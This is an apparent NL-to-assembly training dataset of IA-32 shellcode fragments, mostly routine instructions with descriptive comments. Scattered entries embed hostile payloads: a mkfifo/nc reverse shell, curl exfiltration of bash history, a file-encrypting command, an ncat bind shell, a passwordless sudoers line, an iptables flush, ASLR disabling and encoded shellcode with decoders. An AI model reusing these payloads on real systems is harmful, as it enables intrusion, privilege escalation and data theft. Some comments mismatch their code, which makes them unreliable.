OSS-forge/Extended_Shellcode_IA32 huggingface dataset:
; declare appendfile_label
_appendfile:
; define the _appendfile label
_appendfile:
; declare _build label
_build:
; define the _build label
_build:
; define the _child label
_child:
; declare _close label
_close:
; define the _close label
_close:
; define _cmd label
_cmd:
; declare _cmd register
_cmd:
; define the _cmd label
_cmd:
; define the _continue label
_continue:
; define _decoder_label
_decoder:
; define _dup2_loop label
_dup2_loop:
; define the _dup2_loop label
_dup2_loop:
; define the _egg label
_egg:
; declare _exec _label
_exec:
; define _exec label
_exec:
; declare _exec label
_exec:
; define the _exec label
_exec:
; define _execline label
_execline:
; define the _execline label
_execline:
; define _exit label
_exit:
; define the _exit label
_exit:
; _declare _file label
_file:
; define _file_label
_file:
; define the _file label
_file:
; define ip address as _ip = 0x0100007f
_ip equ 0x0100007f
; define ip equal to 0x0100007f
_ip equ 0x0100007f
; define the _isegg label
_isegg:
; define _load_data label
_load_data:
; define the _load_data label
_load_data:
; define the _next label
_next:
; declare _param label
_param:
; define the _param label
_param:
; define _params label
_params:
; define the _params label
_params:
; define the _parent_read label
_parent_read:
; define the _parent label
_parent:
; define _random label
_random:
; define the _random label
_random:
; define _read label
_read:
; define the _return label
_return:
; define the _setsockopt label
_setsockopt:
; define the _shell label
_shell:
; define the _socket label
_socket:
; declare _start label
_start:
; _start function
_start:
; _start label
_start:
; _start
_start:
; define the _start label
_start:
; define the _start label and jump short to the call_decoder
_start:
jmp call_decoder
; define the _start label and jump to the call_decoder
_start:
jmp call_decoder
; define the _start label and jump to call_decoder
_start:
jmp call_decoder
; define the _start label and jump short to the call_decoder
_start:
jmp short call_decoder
; define the _start label and jump short to call_decoder
_start:
jmp short call_decoder
; define the _start label and jump short to the call_shellcode
_start:
jmp short call_shellcode
; define the _start label and jump short to call_shellcode
_start:
jmp short call_shellcode
; define the _start label and jump short to call_shellcode label
_start:
jmp short call_shellcode
; define the _start label and jump short to enc
_start:
jmp short enc
; define the _start label and jump short to stage
_start:
jmp short stage
; declare _user label
_user:
; define the _user label
_user:
; define the _while_loop label
_while_loop:
; declare _write label
_write:
; define _write label
_write:
; define the _write label
_write:
; define the numeric label 1
1:
; define the label 1
1:
; define the label 2
2:
; define the numeric label 2
2:
; define the label 3
3:
; define the numeric label 3
3:
; allocate one byte of memory for a_letter variable and initialize it to 'd'
a_letter db 'd'
; correct the result od the previous unpacked decimal substraction in al register
aas
; sum hexadecimal value 0x9c09ebea with eax register. if cf is set, add 1 to eax.
adc eax, 0x9c09ebea
; add esi into memory address ebp-4
add [ebp-4], esi
; add the contents of the bh register into the ah register
add ah, bh
; add 0x2 to al
add al, 0x2
; add 0x25 to the al register
add al, 0x25
; add 0x3 to the contents in al and save the result in al
add al, 0x3
; add 0x33 to the contents in al and save the result in al
add al, 0x33
; add 0x40 to the al register
add al, 0x40
; add 0x66 to the contents in al and save the result in al
add al, 0x66
; add 0xa to the al register
add al, 0xa
; add 0xb to the al register
add al, 0xb
; add 2 to al register
add al, 2
; add the value 2 to the contents of the al register
add al, 2
; add 3 to al register
add al, 3
; add 3 to al
add al, 3
; add byte '0' to al
add al, byte '0'
; add the byte in edi to the al register
add al, byte [edi]
; add hexadecimal value 0x2 to al register
add al,0x2
; add the value 0x3 into al register
add al,0x3
; add the hexadecimal value 0x33 to al register
add al,0x33
; add hexadecimal value 0x3b to al register
add al,0x3b
; add the hexadecimal value 0x66 to al register
add al,0x66
; add memory[di + 20] to ax
add ax, [di + 20]
; add 01 to ax
add ax, 01
; add the contents of bx into ax
add ax, bx
; load jexadecimal value 0x2 into bl register
add bl, 0x2
; add 2 to bl content
add bl, 0x2
; add 0x2 to the contents in bl and save the result in bl
add bl, 0x2
; add ax to bx
add bx, ax
; add 0x4 from the byte at the address edi and negate the result
add byte [edi], 0x4
not byte [edi]
; add the byte at the address edi after subtracting the value 7
add byte [edi], 7
not byte [edi]
; add the value 8 from the byte in edi and negate it
add byte [edi], 8
not byte [edi]
; add 0x02 to the current byte in esi
add byte [esi], 0x02
; add 0x1 from the current byte of the shellcode and negate the result
add byte [esi], 0x1
not byte [esi]
; add 0x1 from the byte at the address esi and negate the result
add byte [esi], 0x1
not byte [esi]
; add 0x10 to the current byte in esi
add byte [esi], 0x10
; add the value 0x9 from the current byte of the shellcode and then negate the result
add byte [esi], 0x9
not byte [esi]
; adds 2 to the first character pointed from esi
add byte [esi], 2
; add the byte value 2 to the esi register
add byte [esi], 2
; negate the byte at the address esi after adding the value 2
add byte [esi], 2
not byte [esi]
; add the value 3 from the byte in esi and negate it
add byte [esi], 3
not byte [esi]
; add 10 to the single byte stored at memory address var
add byte [var], 10
; add 20 to the single byte stored at memory address var
add byte [var], 20
; add 30 to the single byte stored at memory address var
add byte [var], 30
; add an immediate operand 65 to byte_value
add byte_value, 65
; add the register dl in the memory location byte_value
add byte_value, dl
; add 2 to counter
add cl, 0x2
; add 2 to counter cl
add cl, 0x2
; add 0x2 to the contents in cl and save the result in cl
add cl, 0x2
; add 0xb8 to the cl register
add cl, 0xb8
; add the value 0x1b into the dx register
add dx, 0x1b
; add 0x2f2f to the contents in dx and save the result in dx
add dx, 0x2f2f
; add 27 to dx contents
add dx,0x1b
; then add to it the hexadecimal value 0x2f2f.
add dx,0x2f2f
; add the contents of the local variable stored at ebp-4 into eax
add eax, [ebp-4]
; add 0x10 to eax
add eax, 0x10
; add 0x12345678 to the contents in eax and save the result in eax
add eax, 0x12345678
; add 0x2d383638 to the contents in eax and save the result in eax
add eax, 0x2d383638
; push ÔhmodÕ on stack
add eax, 0x2d383638
push eax
; add 0x31179798 to the contents in eax and save the result in eax
add eax, 0x31179798
; add 0x5 to edx and jump to L2 if the result is not 0
add eax, 0x5
jnz L2
; add the value 0x7 to eax and jump to the label L4 if the sum is not zero
add eax, 0x7
jnz L4
; add 1 to ebx and jump to L1 if the result is not zero
add eax, 1
jnz L1
; add 10 to eax
add eax, 10
; add 10 to the contents of eax
add eax, 10
; add 16 to eax
add eax, 16
; add 2 to the contents of the eax register
add eax, 2
; add 2 to the eax register
add eax, 2
; add decimal 2 to eax register
add eax, 2
; add 24 to eax
add eax, 24
; add 3 to ecx and jump to L3 if the sum is not zero
add eax, 3
jnz L3
; add 4 to eax
add eax, 4
; add 4 to eax and jump to decode if the result is not zero
add eax, 4
jnz decode
; add 40000h to eax register
add eax, 40000h
; add decimal 48 to eax
add eax, 48
; add 48 to eax
add eax, 48
; add the value 9 to eax and jump to decode if the result is not zero
add eax, 9
jnz decode
; add c to eax
add eax, c
; add the contents of ebx to the contents of eax
add eax, ebx
; add the value on ebx to eax
add eax, ebx
; add ebx to eax
add eax, ebx
; add ebx to eax and store the result in eax
add eax, ebx
; add edx to eax
add eax, edx
; add the contents of edx to the contents of eax
add eax, edx
; add the contents of the edx register to the contents of eax register
add eax, edx
; add the contents of esi to the contents of eax
add eax, esi
; add the contents of the esi register to the contents of eax register
add eax, esi
; add hexadecimal value 0xe458376a to eax register
add eax,0xe458376a
; add 0x2 to the contents of ebp
add ebp, 0x2
; add 0x2 to ebp
add ebp, 0x2
; save sys_connect = 3 into ebx register
add ebx, 0x2
; add 0x2 to the contents in ebx and save the result in ebx
add ebx, 0x2
; add 16 to ebx
add ebx, 16
; add decimal integer 2 to ebx
add ebx, 2
; add 2 to the contents of the ebx register
add ebx, 2
; add 48 to ebx
add ebx, 24
; add the value 3 to the content of ebx register
add ebx, 3
; add 3 to the contents of the ebx register
add ebx, 3
; add decimal integer 5 to ebx
add ebx, 5
; add ecx to ebx
add ebx, ecx
; add 2 to ebx content
add ebx,2
; add the value 1 into the ecx register
add ecx, 1
; add 16 to ecx
add ecx, 16
; add ebx to ecx
add ecx, ebx
; add 2 to edi
add edi, 2
; add 37 to edi contents
add edi, 37
; add the contents of edi to the contents of edi
add edi, edi
; add the contents of the edi register to the contents of edi register
add edi, edi
; add hexadecimal value 0x11111111 to edi content
add edi,0x11111111
; set edx to next 16 byte block
add edx, 16
; add 32 to edx
add edx, 32
; add 48 to edx
add edx, 48
; add the value 64 to the content of edx register
add edx, 64
; add 64 to the contents of the edx register
add edx, 64
; add the contents of eax to the contents of edx
add edx, eax
; add the contents of the eax register to the contents of edx register
add edx, eax
; add the contents of the eax register to the edx register
add edx, eax
; add ecx to edx
add edx, ecx
; add ebx content to edx
add edx,ebx
; add 0x21354523 to the contents in esi and save the result in esi
add esi, 0x21354523
; add 0x21354523 to the contents of esi
add esi, 0x21354523
; add hexadecimal value 0x30 to esi content
add esi, 0x30
; add 0x30 to esi
add esi, 0x30
; add the hexadecimal value 0x33333333 at esi content
add esi, 0x33333333
; add 0x33333333 value to esi
add esi, 0x33333333
; add 0x3f3f3f3f to the contents in esi and save the result in esi
add esi, 0x3f3f3f3f
; add 0x8 to esi
add esi, 0x8
; make esi point to next 8bytes of "shellcode"
add esi, 0x8
; add 2 to the contents of esi
add esi, 2
; add 4 to the contents of the esi register
add esi, 4
; add 4 to esi
add esi, 4
; set the mem addr dinamically
add esi, eax
; add the contents of the eax register to the contents of esi register
add esi, eax
; add eax to esi
add esi, eax
; scan the next section of mem
add esi,4
; add 0x20 to the contents in esp and save the result in esp
add esp, 0x20
; add 3 to the contents of esp
add esp, 3
; add 3 to the contents of the esp register
add esp, 3
; add 4 to the esp register
add esp, 4
; add 10 to the variable marks
add marks, 10
; define addr = db 0x1
addr: db 0x1
; define the byte addr and initialize it to 0x1
addr: db 0x1
; define _all label
all:
; define the all label
all:
; define the doubleword an_integer and initialize it to 12425
an_integer dd 12425
; perform a logical and operation between the al register and the 0fh value and store the result in the al register
and al, 0fh
; perform logical and between ax and 1
and ax, 1
; mask out lowest 4 bits of the eax register
and eax, 0000000fh
; clear all but the last 4 bits of eax
and eax, 0fh
; perform and operation between eax and 3f465456 and save the result in eax
and eax, 3f465456
; perform and operation between eax and 40392b29 and save the result in eax
and eax, 40392b29
; mask out lowest 4 bits of the ebx register
and ebx, 0000000fh
; mask out lowest 4 bits of the ecx register
and ecx, 0000000fh
; anding the double word at the adress eax-0x7 and ecx register
and ecx,dword ptr [eax-0x7]
; anding the double word at the adress ebx+0x1a and ecx register
and ecx,dword ptr [ebx+0x1a]
; mask out lowest 4 bits of the edx register
and edx, 0000000fh
; perform and operation on the variable mask1 and 128
and mask1, 128
; define the doubleword arr and initialize it to 100
arr dd 100
; define the doubleword arr and initialize it to 50
arr dd 50
; reserve the array arr1 of 400 uninitialized bytes
arr1 resb 400
; define the doubleword arr and initialize it to 20
array dd 20
; define an array of 20 initialized word
array word 20
; define an array of 5 initialized word
array word 5
; define _aslr_file label
aslr_file:
; create variable b in memory and initialize to zero
b: dd 0x0
; define the doubleword variable big_number and initialize it to 123456789
big_number dd 123456789
; reserve 1 word at location bignum
bignum: resw 1
; perform a bound check to array index
bound ebp,qword ptr [ecx+0x6e]
; perform a bound check to array index
bound ebp,qword ptr [edx-0x55915597]
; perform a bound check to array index
bound esp,qword ptr [ebx+0x41]
; reserve 64 bytes for buffer
buffer: resb 64
; declare buffersize to be a word containing 1024
buffersize: dw 1024
; define a tables of bytes byte_table and initialize to 14, 15 and 22
byte_table db 14, 15, 22, 45
; define the byte value byte_value and initialize it to 150
byte_value db 150
; define the byte value bytes and initialize it to 10
bytes db 10
; define the byte value bytes and initialize it to 20
bytes db 20
; call the _appendfile function
call _appendfile
; jump to _appendfile label after putting the address of the next istruction on the top pf the stack
call _appendfile
msg2 db "passwd", 0x00
; call the _build function
call _build
; push the address of msg on the top of the stack, and then change the eip to the address in _build label
call _build
msg db "curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post", 0x0a
; call _continue
call _continue
; call the _continue function
call _continue
; jump to _exec label
call _exec
; call the _exec function
call _exec
; push the address of message on the top of the stack, and then change the eip to the address in _exec label
call _exec
msg db "mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt", 0x0a
; call _exit
call _exit
; call _malloc
call _malloc
; call the _myfunc function
call _myfunc
; call the _params function
call _params
; push the address of test.txt on the top of the stack, and then change the eip to the address in _params label
call _params
string db "test.txt"
; call the _printf function
call _printf
; call the _write function
call _write
; go to _write label after entering google address on the top of the sack
call _write
google: db "127.1.1.1 google.com"
; push the current code location on stack and the perform an unconditional jumo to the code location indicated by esp content
call [esp]
; execute decoded_shellcode
call [esp]
; call the function in esp
call [esp]
; call the atoi function
call atoi
; call the code function
call code
; push the address of file: db "/sbin/iptables#-f" on the top of the stack, and then change the eip to the address in code_label
call code
file: db "/sbin/iptables#-f"
; call the cont function
call cont
; go to _cont after entering db '0',10 adress on the top of the stack
call cont
db '0',10
; jump to _decoder label
call decoder
; go to _decoder label
call decoder
; go to deocder label
call decoder
; jump to decoder_label
call decoder
; call the function decoder
call decoder
; call the decoder function
call decoder
; call decoder
call decoder
; jump to _decoder label after saving encoded_shellcode ' dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539' pointer to esi
call decoder
encoded_shellcode: dw 0x545, 0x4a3, 0x583, 0x5d3, 0x541, 0x541, 0x439, 0x5d3, 0x5d3, 0x541, 0x5e7, 0x5d5, 0x5cf, 0x411, 0x4eb, 0x443, 0x509, 0x48d, 0x423, 0x539
; jump to decoder_label after entering the double word string encoded '0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539' on stack
call decoder
encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0xc29, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0x839, 0xce9, 0xc59, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539
; push the address of encodedshellcode on the top of the stack, and then change the eip to the address in _shellcode label
call decoder
encodedshellcode: db 0x32,0x51,0x30,0x74,0x69,0x63,0x6f,0xe4,0x8a,0x54,0xe2,0x0c,0x81,0xc1,0x69,0x30,0x69,0x30,0x6a,0x8a,0x51,0xe3,0x8a,0xb1,0xce
; jump to _decoder label after entering _encodedshellcode (db db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94,0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87) on the top of the stack
call decoder
encodedshellcode: db 0xd6,0x47,0xb7,0x9f,0xd8,0xd8,0x94, 0x9f,0x9f,0xd8,0xa5,0x9e,0x99,0x7e,0x24,0xb7,0x7e,0x25,0xb4,0x7e,0x26,0x57,0xfc,0x3a,0x87
; go to _decoder label after entering the address of the array shellcode (0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87) on the top of the stack
call decoder
shellcode: db 0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87
; go to _decoder label after entering shellcode (db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d) address on the top of the stack
call decoder
shellcode: db 0x3e,0xcd,0x5d,0x75,0x3c,0x3c,0x80,0x75,0x75,0x3c,0x6f,0x76,0x7b,0x96,0xf0,0x5d,0x96,0xef,0x60,0x96,0xee,0xbd,0x18,0xda,0x8d
; shellcode address will be pushed into the stack
call decoder
shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
shellcodelen equ $-shellcode
; go to _decoder label after entering shellcode Ô0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01Õ on the top of the stack
call decoder
shellcode: db 0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01
; xoring ebp content with the double word at the adress edx-0x55af5540 then go to decoder label
call decoder
xor dword ptr [edx-0x55af5540],ebp
; call decoder_setup
call decoder_setup
; jump to decoder1_label afetr entering xor_value, rot_value and shellcode on the top pf the stack
call decoder1
xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa
rot_value: db 13, 13, 13, 13, 13, 13, 13, 13
shellcode: db 0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27
; call the doit function
call doit
; go to egghunter
call egghunter
; call the egghunter function
call egghunter
; call esi
call esi
; call the function in esi
call esi
; call esp
call esp
; call the execute function
call execute
; put db "cp /bin/sh /tmp/shÓ address on stack then jump to _esecute label
call execute
db "cp /bin/sh /tmp/shÓ
; call function internetreadfile
call internetreadfile
; call the iprint function
call iprint
; call the iprintlf function
call iprintlf
; call jmp_search
call jmp_search
; call the jmp_search function
call jmp_search
; call loader
call loader
; call the loader function
call loader
; call the main function
call main
; call the me function
call me
; call my_subroutine
call my_subroutine
; call near stageaddress
call near stageaddress
; call the near function
call near stageaddress
; call the one function
call one
; push the address of string: db "/etc/passwd" on the top of the stack, and then change the eip to the address in one_label
call one
string: db "/etc/passwd"
; jump to open_label
call open
; call the prepare function
call prepare
; go to prepere after storing string on the stack
call prepare
db ',ajm,pk#########'
; call the quit function
call quit
; call returnlabel
call returnlabel
; call set_argv
call set_argv
; call the set_argv function
call set_argv
; go to _set_argv label afeter entering the byte string cmd = cat /etc/passwd;echo do__ne on stack
call set_argv
cmd: db "cat /etc/passwd;echo do__ne"
; call the shell_ret function
call shell_ret
; go to shell_ret label after ebtering byte string Ò/bin/shÓ address on stack
call shell_ret
db Ò/bin/shÓ
; jump to the address of shellcode_label
call shellcode
; call the shellcode function
call shellcode
; go to _shellcode label after entering the address of the string = Ô/proc/sys/kernel/randomize_va_space' on the top of the stack
call shellcode
db '/proc/sys/kernel/randomize_va_space'
; go to _shellcode label after entering the byte string '/proc/sys/kernel/randomize_va_spacex' address on stack
call shellcode
db '/proc/sys/kernel/randomize_va_spacex'
; go to _shellcode label after entering the byte string Ômt.txtxÕ address on the top of the stack
call shellcode
db 'my.txtx'
; push the address of /bin/sh on the top of the stack, and then change the eip to the address in shellcode_label
call shellcode
message db "/bin/sh"
; go to shellcode label after entering port: db db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77 address on stack
call shellcode
port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
; jump to shellcode_label after entering the byte string '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd' on the top of the stack
call shellcode db '/usr/bin/ncat#-lvp1337#-e/bin/bash#aaaabbbbccccdddd'
; call the sprint function
call sprint
; call the sprintlf function
call sprintlf
; call the start function
call start
; call the strlen function
call strlen
; call the two function
call two
; go to _write label
call write
; call the write function
call write
; entring db "all all=(all) nopasswd: all" , 0xa address on stack, then jump to _write label
call write
db "all all=(all) nopasswd: all" , 0xa
; call writestring
call writestring
; call the writestring function
call writestring
; go to _writestring label after entering the byte string "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fr" address on the top of the stack
call writestring
db "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc localhost 9999 > /tmp/fr"
; define call_decoded_label
call_decoded:
; define the call_decoded label
call_decoded:
; define call_decoded and execute it
call_decoded:
call [esp]
; declare _call_decoder label
call_decoder:
; define _call_decoder label
call_decoder:
; define call_decoder label
call_decoder:
; define call_decoder_label
call_decoder:
; define call_decoder function
call_decoder:
; define call_decoder
call_decoder:
; call_decoder label
call_decoder:
; define the call_decoder label
call_decoder:
; define call_decoder and call decoder function
call_decoder:
call decoder
; define the call_decoder label and call the decoder function
call_decoder:
call decoder
; define call_decoder and call decoder
call_decoder:
call decoder
; in the function call_decoder call the decoder routine and define shellcode as array of bytes 0xeb,0x25,0x5e,0x31,0xc9,0xb1,0x1e,0x80,0x3e,0x07,0x7c,0x05,0x80,0x2e,0x07,0xeb,0x11,0x31,0xdb,0x31,0xd2,0xb3,0x07,0xb2,0xff,0x66,0x42,0x2a,0x1e,0x66,0x29,0xda,0x88,0x16,0x46,0xe2,0xe2,0xeb,0x05,0xe8,0xd6,0xff,0xff,0xff,0x38,0xc7,0x57,0x6f,0x69,0x68,0x7a,0x6f,0x6f,0x69,0x70,0x75,0x36,0x6f,0x36,0x36,0x36,0x36,0x90,0xea,0x57,0x90,0xe9,0x5a,0x90,0xe8,0xb7,0x12,0xd4,0x87
call_decoder:
call decoder
shellcode: db 0xeb,0x25,0x5e,0x31,0xc9,0xb1,0x1e,0x80,0x3e,0x07,0x7c,0x05,0x80,0x2e,0x07,0xeb,0x11,0x31,0xdb,0x31,0xd2,0xb3,0x07,0xb2,0xff,0x66,0x42,0x2a,0x1e,0x66,0x29,0xda,0x88,0x16,0x46,0xe2,0xe2,0xeb,0x05,0xe8,0xd6,0xff,0xff,0xff,0x38,0xc7,0x57,0x6f,0x69,0x68,0x7a,0x6f,0x6f,0x69,0x70,0x75,0x36,0x6f,0x36,0x36,0x36,0x36,0x90,0xea,0x57,0x90,0xe9,0x5a,0x90,0xe8,0xb7,0x12,0xd4,0x87
; define call_egghunter label
call_egghunter:
; define the call_egghunter label
call_egghunter:
; declare _call_shellcode label
call_shellcode:
; declare call_shellcode_label
call_shellcode:
; define call_shellcode_label
call_shellcode:
; delcare call_shellcode_label
call_shellcode:
; define call_shellcode label
call_shellcode:
; define call_shellcode function
call_shellcode:
; call_shellcode function
call_shellcode:
; call_shellcode routine
call_shellcode:
; declare the call_shellcode label
call_shellcode:
; define the call_shellcode label
call_shellcode:
; define the call_shellcode label and call the decoder function
call_shellcode:
call decoder
; define the call_shellcode function and call decoder
call_shellcode:
call decoder
; define call_shellcode and call decoder function
call_shellcode:
call decoder
; in call_shellcode call the decoder function
call_shellcode:
call decoder
; in call_shellcode execute the decoder routine
call_shellcode:
call decoder
; define _call_write label
call_write:
; define the call_write label
call_write:
; define the callit label
callit:
; define the callme label
callme:
; define _ callpop label
callpop:
; define the callpop function
callpop:
; define the callpop label
callpop:
; convert the doubleword with sign (32 bit) provided in eax into the quadword with sign (64 bit) left in edx:eax
cdq
; convert the doubleword with sign (32 bit) provided in eax into the quadword with sign (64 bit) left in edx:eax (clear eax and edx registers)
cdq
; zero out edx using the sign bit from eax
cdq
; save edx as a null byte
cdq
; convert signed dword in eax to a signed quad word in edx:eax
cdq
; set edx to 0
cdq
; edx to 0
cdq
; set edx = 0
cdq
; overwriting edx with either 0
cdq
; zero out edx
cdq
; clear the edx register
cdq
; extend the sign bit of the eax register into the edx register
cdq
; extend the sign bit of eax register into the edx register
cdq
; extend the sign bit of eax into the edx register
cdq
; zero out edx and ecx regsiter
cdq
mov ecx, edx
; zero out edx and push ortocol id = 0 on stack
cdq
push edx
; define check_even_odd label
check_even_odd:
; define check_even_odd
check_even_odd:
; define check_even_odd function
check_even_odd:
; define the child function
child:
; define the child label
child:
; define chmod_call =15
chmod_call equ 15
; define chmod_call equal to 15
chmod_call equ 15
; define variable choice of 1 byte and initialize to y
choice db 'y'
; clear the direction flag
cld
; clear direction flag increasing si and di index registers.
cld
; set the direction flag to zero
cld
; direction flag equal to zero
cld
; clear interrupt flag
cli
; define close_syscall=6
close_syscall equ 6
; define close_syscall equal to 6
close_syscall equ 6
; define close_label
close:
; define _closefile label
closefile:
; define the closefile function
closefile:
; define the closefile label
closefile:
; define _cmd label
cmd:
; define the cmd label
cmd:
; declare cmd string and initialize it to 'cat /etc/passwd'
cmd: db 'cat /etc/passwd'
; define cmd as the byte string 'cat /etc/passwd'
cmd: db 'cat /etc/passwd'
; compare the contents stored at ebp+arg_0 with 1
cmp [ebp+arg_0], 1
; compare if the contents at memory location ebp+var_a is 0
cmp [ebp+var_a], 0
; compare the contents at memory location ebp+var_a with 0
cmp [ebp+var_a], 0
; jump short to the memory location loc_4010E5 if the contents of the memory address ebp+var_a is not equal to zero
cmp [ebp+var_a], 0
jnz short loc_4010E5
; if the contents of the memory address ebp+var_a is not equal to zero then jump short to the memory location loc_4010E5
cmp [ebp+var_a], 0
jnz short loc_4010E5
; compare the contents at memory location esi and the contents of the edx register
cmp [esi], edx
; compare the contents at memory location esi with edx
cmp [esi], edx
; jump to the memory address 0x40 if the contents of the al register is equal to the value 0x38 else push the byte representation of the value 0x1 onto the stack
cmp al, 0x38
je 0x40
push byte 0x1
; if the contents of the al register is equal to the value 0x38 then jump to the memory address 0x40 else push the byte representation of the value 0x1 onto the stack
cmp al, 0x38
je 0x40
push byte 0x1
; jump to the decode_insertion label if the contents of the al register is equal to the vale 0xaa else perform a logical xor operation between the al register and the bl register and store the result in the al register
cmp al, 0xaa
je decode_insertion
xor al, bl
; if the contents of the al register is equal to the vale 0xaa then jump to the decode_insertion label else perform a logical xor operation between the al register and the bl register and store the result in the al register
cmp al, 0xaa
je decode_insertion
xor al, bl
; if it return efault, bad address
cmp al, 0xf2
; compare if the contents of al with 0xf2
cmp al, 0xf2
; compare the contents of the al register and 0xf2
cmp al, 0xf2
; compare the contents of the al register with the value 0xf2
cmp al, 0xf2
; jump to the _start label if the contents of the al register is equal to the value 0xf2
cmp al, 0xf2
je _start
; if the contents of the al register is equal to the value 0xf2 then jump to the _start label
cmp al, 0xf2
je _start
; jump to the _start label if the contents of the al register is equal to the value 0xf2 else move the value 0x50905090 into the eax register
cmp al, 0xf2
je _start
mov eax, 0x50905090
; if the contents of the al register is equal to the value 0xf2 then jump to the _start label else move the value 0x50905090 into the eax register
cmp al, 0xf2
je _start
mov eax, 0x50905090
; jump to the fillOnes label if the contents of the al register is equal to the value 0xf2
cmp al, 0xf2
je fillOnes
; if the contents of the al register is equal to the value 0xf2 then jump to the fillOnes label
cmp al, 0xf2
je fillOnes
; jump to the fillOnes label if the contents of the al register is equal to 0xf2 else move the value 0x59935193 into the eax register
cmp al, 0xf2
je fillOnes
mov eax, 0x59935193
; if the contents of the al register is equal to 0xf2 then jump to the fillOnes label else move the value 0x59935193 into the eax register
cmp al, 0xf2
je fillOnes
mov eax, 0x59935193
; jump to the label next_page if the contents of the al register is equal to the value 0xf2
cmp al, 0xf2
je next_page
; if the contents of the al register is equal to the value 0xf2 then jump to the label next_page
cmp al, 0xf2
je next_page
; jump to the _start label if the contents of the al register is equal to the value 0xf2
cmp al, 0xf2
jz _start
; if the contents of the al register is equal to the value 0xf2 then jump to the _start label
cmp al, 0xf2
jz _start
; if the contents of the al register is equal to the value 0xf2 then jump to the incpage label
cmp al, 0xf2
jz incpage
; jump to the incpage label if the contents of the al register is equal to the value 0xf2
cmp al, 0xf2
jz incpage
; verify if sys_access returned an efault, and if it matchs jump to next_page label
cmp al, 0xf2
jz next_page
; jump to the label l1 if the contents of the al register is greater than the decimal value 9
cmp al, 9
jg l1
; if the contents of the al register is greater than the decimal value 9 then jump to the label l1
cmp al, 9
jg l1
; jump to the label l1 if the contents of the al register is greater than or equal to the decimal value 9
cmp al, 9
jge l1
; if the contents of the al register is greater than or equal to the decimal value 9 then jump to the label l1
cmp al, 9
jge l1
; jump to the l2 label if the unsigned contents of the al register is greater than the unsigned contents of the bl register else add the value 3 to the eax register
cmp al, bl
ja l2
add eax, 3
; if the unsigned contents of the al register is greater than the unsigned contents of the bl register then jump to the l2 label else add the value 3 to the eax register
cmp al, bl
ja l2
add eax, 3
; jump to the label l2 if the unsigned contents of the al register is lower than the unsigned contents of the bl register
cmp al, bl
jb l2
; if the unsigned contents of the al register is lower than the unsigned contents of the bl register then jump to the label l2
cmp al, bl
jb l2
; compare the contents of al with the cl register
cmp al, cl
; compare the contents of the al register and the contents of the cl register
cmp al, cl
; if the contents of the al register is not equal to the contents of the cl register then jump short to the decode label else jump to the shellcode label
cmp al, cl
jne short decode
jmp shellcode
; jump short to the decode label if the contents of the al register is not equal to the contents of the cl register else jump to the shellcode label
cmp al, cl
jne short decode
jmp shellcode
; check if reached the end of shellcode comparing cl with al register. if not return to _decode label else go to _shellcode label
cmp al, cl
jnz short decode
jmp shellcode
; jump short to decode if al is not equal to cl else jump to shellcode
cmp al, cl
jnz short decode
jmp shellcode
; if al regsiter content is equal to the hexadecimal value 0xaa jump to decode_insertion label
cmp al,0xaa
je decode_insertion
; if efault page alignment
cmp al,0xf2
jz _start
; jump to the l3 label if the contents of the ax register is not equal to the contents of the bx register
cmp ax, bx
jne l3
; if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label
cmp ax, bx
jne l3
; if the contents of the ax register is not equal to the contents of the bx register then jump to the l3 label else jump to the while label
cmp ax, bx
jne l3
jmp while
